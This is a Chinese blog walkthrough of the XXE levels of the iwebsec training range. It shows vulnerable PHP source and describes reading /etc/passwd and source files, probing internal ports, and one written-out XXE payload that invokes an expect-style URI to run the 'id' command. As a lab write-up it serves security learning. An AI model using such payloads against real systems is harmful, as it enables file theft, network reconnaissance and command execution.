iwebsec靶场 XXE关卡通关笔记

 iwebsec靶场xxe关卡通关笔记     

XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。

内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。

外部声明是引用XML以外的文件,有风险。

外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。

第一关

如下所示,通关docker查看xxe目录下的index.php源码,内容如下

<?php
  require_once('../header.php');
  ?>
<html>
	<head>
		<title>XXE漏洞</title>
	</head>
	<h2>XXE漏洞</h2>
		<div class="alert alert-success">
			<p>input xml</p>
		</div>
	<body>
  <?php
libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
if($xmlfile){
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);
	$username = $creds->username;
	$password = $creds->password;
}
	else{
		exit();
	}
?>
		<table class='table table-striped'>
		<?php
		echo 'hello ' . $username;		
		echo "</table>";  
?>

在以上代码中,file_get_contents函数读取php://input传入的参数,但是参数没有经过过滤直接就被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生。

由于使用php://input协议传入,故而参数可通过post传递。

基于此利用file://伪协议读取本地文件来加载外部实体(entity),而代码中涉及到变量username和password需要定义在xml参数中,我们在xml中使用element元素声明,如下所示

<!ELEMENT username ANY>
<!ELEMENT password ANY>

 由于username最后输出,故而而我们想获取的实体变量使用entiey来加载

(1)获取敏感信息(密码文件)

如果我们想获取/etc/passwd文件,最后post的参数如下所示

效果如下所示

 使用post参数将xml传入后,可以获取到系统的/etc/passwd文件

(2)获取根目录源码文件

如果我们想获取当前网站根目录下index.php的源码文件,传入参数如下所示

 我们可以获取到index.php在base64编码后的内容,效果如下

使用base64解码进行解码

效果如下所示

<!DOCTYPE html>
<html>
  <head>
	<meta http-equiv="Content-Type" content="text/html;  charset=UTF-8"/>
    <title>iwebsec 靶场漏洞库</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="iwebsec">
	
    <!-- Le styles -->
    <link href="./css/bootstrap.css" rel="stylesheet">

    <style type="text/css">
      body {
        padding-top: 60px;
        padding-bottom: 40px;
      }
    </style>
    <link href="./css/bootstrap-responsive.css" rel="stylesheet">

  </head>

  <body>

    <div class="navbar navbar-inverse navbar-fixed-top">
      <div class="navbar-inner">
        <div class="container">
          <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
          </a>
          <a class="brand" href="http://www.iwebsec.com">iwebsec.com</a>
          <div class="nav-collapse collapse">
            <ul class="nav">
              <li class="active"><a href="/">首页</a></li>
            </ul>
          </div><!--/.nav-collapse -->
        </div>
      </div>
    </div>

    <div class="container">


<div class="hero-unit">
        <h1>iwebsec</h1>
		<p>此网站中集合了SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的web漏洞环境</p>
<a href="http://iwebsec.com" class="twitter-follow-button" data-show-count="true"  data-size="large">Follow @iwebsec</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
      </div>

	  <script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?8d47cbee4e5b4661d33f3edc68a1c7f0";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>


      <!-- Main hero unit for a primary marketing message or call to action -->


      <!-- Example row of columns -->
      <div class="row">
	  
		<div class="span4">
          <h2>SQL注入漏洞</h2>
            <ul>
            	<li><a href="sqli/01.php?id=1">01-数字型注入</a></li>
            	<li><a href="sqli/02.php?id=1">02-字符型注入</a></li>
            	<li><a href="sqli/03.php?id=1">03-bool注入</a></li>
            	<li><a href="sqli/04.php?id=1">04-sleep注入</a></li>
            	<li><a href="sqli/05.php?id=1">05-updatexml注入</a></li>
            	<li><a href="sqli/06.php?id=1">06-宽字节注入</a></li>
            	<li><a href="sqli/07.php?id=1">07-空格过滤绕过</a></li>
            	<li><a href="sqli/08.php?id=1">08-大小写过滤绕过</a></li>
            	<li><a href="sqli/09.php?id=1">09-双写关键字绕过</a></li>
				<li><a href="sqli/10.php?id=1">10-双重url编码绕过</a></li>
				<li><a href="sqli/11.php?id=1">11-十六进制绕过</a></li>
				<li><a href="sqli/12.php?id=1">12-等价函数替换过滤绕过</a></li>
				<li><a href="sqli/13/index.php?id=1">13-二次注入</a></li>
	          </ul>	
       </div>
	   
	   <div class="span4">
          <h2>文件上传漏洞</h2>
          <ul>
          	<li><a href="upload/01.php">01-前端JS过滤绕过</a></li>
			<li><a href="upload/02.php">02-文件名过滤绕过</a></li>
			<li><a href="upload/03.php">03-Content-Type过滤绕过</a></li>
			<li><a href="upload/04.php">04-文件头过滤绕过</a></li>
			<li><a href="upload/05.php">05-.htaccess文件上传</a></li>
			<li><a href="upload/06.php">06-文件截断上传</a></li>
			<li><a href="upload/07.php">07-竞争条件文件上传</a></li>
          </ul>
       </div>
	   
	    <div class="span4">
          <h2>文件包含漏洞</h2>

          <ul>
          	<li><a href="fi/01.php">01-本地文件包含</a></li>
          	<li><a href="fi/02.php">02-本地文件包含绕过</a></li>
			<li><a href="fi/03.php">03-session本地文件包含</a></li>
			<li><a href="fi/04.php">04-远程文件包含</a></li>
			<li><a href="fi/05.php">05-远程文件包含绕过</a></li>
			<li><a href="fi/06.php">06-php://filter伪协议</a></li>
			<li><a href="fi/07.php">07-php://input伪协议</a></li>
			<li><a href="fi/08.php">08-php://input伪协议利用</a></li>
			<li><a href="fi/09.php">09-file://伪协议利用</a></li>
			<li><a href="fi/10.php">10-data://伪协议利用</a></li>
          </ul>

        </div>
	  


      </div>


      <div class="row">
	  
	    <div class="span4">
          <h2>命令执行漏洞</h2>
          <ul>
	          <li><a href="exec/01.php">01-命令执行漏洞</a></li>
	          <li><a href="exec/02.php">02-命令执行漏洞空格绕过</a></li>
			  <li><a href="exec/03.php">03-命令执行漏洞关键命令绕过</a></li>
			  <li><a href="exec/04.php">04-命令执行漏洞通配符绕过</a></li>
			  <li><a href="exec/05.php">05-命令执行漏洞base64编码绕过</a></li>
          </ul>
        </div>
	  
        <div class="span4">
          <h2>代码执行漏洞</h2>
          <ul>
          	<li><a href="execcode/01.php">01-eval函数示例</a></li>
          	<li><a href="execcode/02.php">02-assert函数示例</a></li>
			<li><a href="execcode/03.php">03-call_user_func函数示例</a></li>
			<li><a href="execcode/04.php">04-call_user_func_array函数示例</a></li>
			<li><a href="execcode/05.php">05-create_function函数示例</a></li>
			<li><a href="execcode/06.php">06-array_map函数示例</a></li>
			<li><a href="execcode/07.php">07-preg_replace无漏洞函数示例</a></li>
			<li><a href="execcode/08.php">08-preg_replace漏洞函数示例</a></li>
			<li><a href="execcode/09.php">09-可变函数漏洞示例01</a></li>
			<li><a href="execcode/10.php">10-可变函数漏洞示例02</a></li>
          </ul>
       </div>
	   
	   	<div class="span4">
          <h2>XSS 漏洞</h2>
          <ul>
	          <li><a href="xss/01.php">01-反射型XSS漏洞</a></li>
	          <li><a href="xss/02.php">02-存储型XSS漏洞</a></li>
			  <li><a href="xss/03.php">03-DOM XSS漏洞</a></li>
			  <li><a href="xss/04.php">04-XSS修复示例</a></li>
          </ul>
        </div>
      </div>

      <div class="row">
	  
        <div class="span4">
          <h2>SSRF漏洞</h2>

          <ul>
			  <li><a href="ssrf/index.php">01-SSRF漏洞文件读取</a></li>
			  <li><a href="ssrf/index.php">02-SSRF漏洞内网探测</a></li>
			  <li><a href="ssrf/index.php">03-SSRF漏洞内网应用攻击</a></li>
          </ul>

        </div>

        <div class="span4">
          <h2>XXE漏洞</h2>
          <ul>
	          <li><a href="xxe/index.php">01-XXE漏洞文件读取</a></li>
	          <li><a href="xxe/index.php">02-XXE漏洞内网探测</a></li>
			  <li><a href="xxe/index.php">03-XXE漏洞内网应用攻击</a></li>

          </ul>
        </div>
		
		<div class="span4">
          <h2>反序列化漏洞</h2>
          <ul>
	          <li><a href="unserialize/01/index.php">01-反序列化漏洞示例01</a></li>
			  <li><a href="unserialize/02/index.php">02-反序列化漏洞示例02</a></li>
          </ul>
        </div>
      </div>
	        <div class="row">
	  
        <div class="span4">
          <h2>中间件漏洞</h2>

          <ul>
			  <li><a href="middleware/01.php">01-Weblogic中间件漏洞</a></li>
			  <li><a href="middleware/02.php">02-Tomcat中间件漏洞</a></li>
			  <li><a href="middleware/03.php">03-Jboss中间件漏洞</a></li>
          </ul>

        </div>

        <div class="span4">
          <h2>解析漏洞</h2>
          <ul>
	          <li><a href="parse/01.php">01-Apache解析漏洞</a></li>
	          <li><a href="parse/02.php">02-Nginx解析漏洞</a></li>
          </ul>
        </div>
		
		<div class="span4">
          <h2>数据库漏洞</h2>
          <ul>
	          <li><a href="database/01.php">01-MySQL数据库漏洞</a></li>
			  <li><a href="database/02.php">02-Redis数据库漏洞</a></li>
          </ul>
        </div>
		</div>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <footer>
            <b>Copyright(C)2017-2019 <a href="http://www.iwebsec.com" class="hui12" target="_blank">iwebsec 网络安全知识库</a>  All Rights Reserved</b>
        </footer>

</html>

 (3)获取当前xxe目录源码文件

post参数为

访问后如下所示

然后通过base64解码即可查看到源文件。

第二关

利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭那么请求会非常慢。

(1)探测22端口是否开启

payload如下所示

如下所示

我们登录到容器中,通过netstat -ano|grep 22也确认确实打开了22端口

(2)探测23端口是否开启

接下来使用一个不存在服务的端口号23来尝试,如下所示通过 netstat -ano|grep 23可以确认这个端口处于关闭状态

payload如下所示

效果如下所示,提示拒绝连接

 第三关

内网应用攻击,这里可以用PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以执行如下的命令:

<!DOCTYPE creds [
   <!ELEMENT username ANY>
   <!ELEMENT password ANY>
   <!ENTITY xxe SYSTEM "except://id">
]>
<creds>
<username>&xxe;</username>
<password>test</password>
</creds>

利用xxe漏洞可以调用except://伪协议调用系统命令,不过这种需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令了。然而这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。

 由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令。

这里要强调一下,XXE EXCEPT可执行漏洞这种情况很少发生,但极少数情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。需要黑客足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么才可以执行命令。虽然iwebsec靶场提供了xxe漏洞,但是他的环境中并不是一个幸运的环境,故无法使用xxe except漏洞进行渗透。

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值